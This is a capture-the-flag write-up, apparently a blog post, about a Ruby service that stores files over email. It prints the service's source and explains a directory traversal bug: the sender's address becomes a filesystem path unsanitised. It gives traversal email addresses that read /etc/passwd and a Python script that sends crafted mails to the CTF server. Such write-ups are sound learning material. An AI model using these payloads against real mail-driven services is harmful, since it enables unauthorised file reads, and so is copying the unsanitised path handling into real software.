#!/usr/bin/ruby
require "pathname"
Dir.chdir(Pathname.new(__FILE__).dirname.to_s)
require "mail"
mail_size_limit= 16*1024
user_size_limit= 1024**2
users_dir= Pathname.new("user")
raw_incoming_mail= STDIN.read(mail_size_limit)
incoming_mail= Mail.new(raw_incoming_mail)
user= [incoming_mail.from].flatten[0].gsub('"', "")
exit 1 unless user
exit 1 unless user=~ /@/
subject= incoming_mail.subject
exit 1 unless subject
user_dir= users_dir + user.split("@", 2).reverse.join("___")
print user_dir+"\n"
size_file= user_dir + ".size"
tmp_size_file= user_dir + ".size_tmp"
'''
available commands:
signup
list
put
get <filename>
delete <filename>
share <filename> <user>
'''
def send_response(original_mail, response_string, attachment= nil, response_subject=nil)
print "\nReponse:\n------------\n\n"
print original_mail,"\n"
print response_string,"\n"
print attachment,"\n"
print response_subject,"\n"
print "------------\n"
end
def send_error(original_mail, error_string)
print "\nError:\n-------------\n\n"
print original_mail,"\n"
print error_string,"\n"
print "-----------\n"
end
case subject
when "signup"
if user_dir.directory?
send_error(incoming_mail, "your are already signed up")
exit
end
unless (user_dir+"../.signup_allowed").file?
send_error(incoming_mail, "signup is currently disabled")
exit
end
user_dir.mkdir
size_file.open("w") { |f| f.puts 0 }
send_response(incoming_mail, "signup successfull")
when "list"
unless user_dir.directory?
send_error(incoming_mail, "you are not signed up")
exit
end
file_listing= "your_files:\n" +
user_dir.children.select do |file|
file.basename.to_s[0] != ?.
end.collect do |file|
"#{file.basename} #{file.size/1024.0}Kb"
end.join("\n")
send_response(incoming_mail, file_listing)
when /\Aget ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
file_name= $1
file_path= user_dir+file_name
unless user_dir.directory?
send_error(incoming_mail, "you are not signed up")
exit
end
unless file_path.file?
send_error(incoming_mail, "the requested file does not exist")
exit
end
send_response(incoming_mail, "here is your requested file", file_path.to_s)
when /\Ashare ([A-Za-z0-9_-]+(\.[a-z0-9]+)?) ([A-Za-z0-9][A-Za-z0-9._-]*@([A-Za-z0-9-]+\.)+[A-Za-z]+)\Z/
file_name= $1
second_user= $3
file_path= user_dir+file_name
unless user_dir.directory?
send_error(incoming_mail, "you are not signed up")
exit
end
unless file_path.file?
send_error(incoming_mail, "the requested file does not exist")
exit
end
second_user_dir= users_dir + second_user.split("@", 2).reverse.join("___")
second_size_file= second_user_dir + ".size"
second_file_path= second_user_dir + file_name
unless second_size_file.file?
send_error(incoming_mail, "the given user is not signed up")
exit
end
if second_file_path.exist?
send_error(incoming_mail, "file cannot be shared for unknown reasons")
exit
end
second_file_path.make_symlink(file_path.to_s.sub("user/", "../"))
send_response(incoming_mail, "file shared", file_path.to_s)
when /\Adelete ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
file_name= $1
file_path= user_dir+file_name
user_size= begin
size_file.read.to_i
rescue Errno::ENOENT
send_error(incoming_mail, "you are not signed up")
exit
end
unless file_name[0] != ?. and file_path.file?
send_error(incoming_mail, "the requested file does not exist")
exit
end
user_size-= file_path.size
file_path.unlink
tmp_size_file.open("w") { |f| f.puts user_size }
tmp_size_file.rename(size_file)
send_response(incoming_mail, "file deleted")
when "put"
user_size= begin
size_file.read.to_i
rescue Errno::ENOENT
send_error(incoming_mail, "you are not signed up")
exit
end
attachment= incoming_mail.attachments[0]
unless attachment and attachment.filename=~ /\A([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
send_error(incoming_mail, "no valid attachment found")
exit
end
file_path= user_dir+attachment.filename
if file_path.exist?
send_error(incoming_mail, "file already exists")
exit
end
attachement_body= attachment.body.decoded
user_size+= attachement_body.size
if user_size > user_size_limit
send_error(incoming_mail, "you have no space left")
exit
end
tmp_size_file.open("w") { |f| f.puts user_size }
tmp_size_file.rename(size_file)
file_path.open("w") { |f| f.write attachement_body }
send_response(incoming_mail, "file saved")
end
The main flaw in this program comes from this line of code:
user_dir= users_dir + user.split("@", 2).reverse.join("___")
This means that any user root@example.com will have a working directory of example.com___root. This lends itself to directory traversal by having a source email address of root/../@example.com, which become example.com___root/../. Whenever the commands are run, they run from the working directory of the email address. The hardest part, then, is getting an email server working that will correctly handle email addresses like this. I worked with a buddy pretty heavily to get this working. We eventually resorted to having a "catch-em-all" email box on his server and just sent emails from him as an open relay. We had a command running in the Maildir that would always be showing the most recent mail, so any email responses we got would flash on our screen immediately. This, combined with the script shown below gave us a shell of sorts through the emails.
'''
Mail exploit - by suntzu_II
1. Run the 'signup'command as a@example.com. This creates a directory of example.com___a.
2. Run any command but perform directory traversal with email addresses like this:
- list,a/../@example.com
- get passwd,a/../../../../etc/@example.com
'''
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import base64
def sendMessage(action, send_from, send_to):
msg = MIMEMultipart()
msg['To'] = send_to
msg['From'] = send_from
msg['Subject'] = action
smtp = smtplib.SMTP('b3.ctf.sigint.ccc.de',25)
smtp.sendmail(send_from, send_to, msg.as_string())
smtp.close()
while True:
cmd = raw_input("Command: ").split(',')
sendMessage(cmd[0], 'a/'+cmd[1]+'@example.com', 'test@b3.ctf.sigint.ccc.de')
The flag was in /etc/passwd. - suntzu_II
No comments:
Post a Comment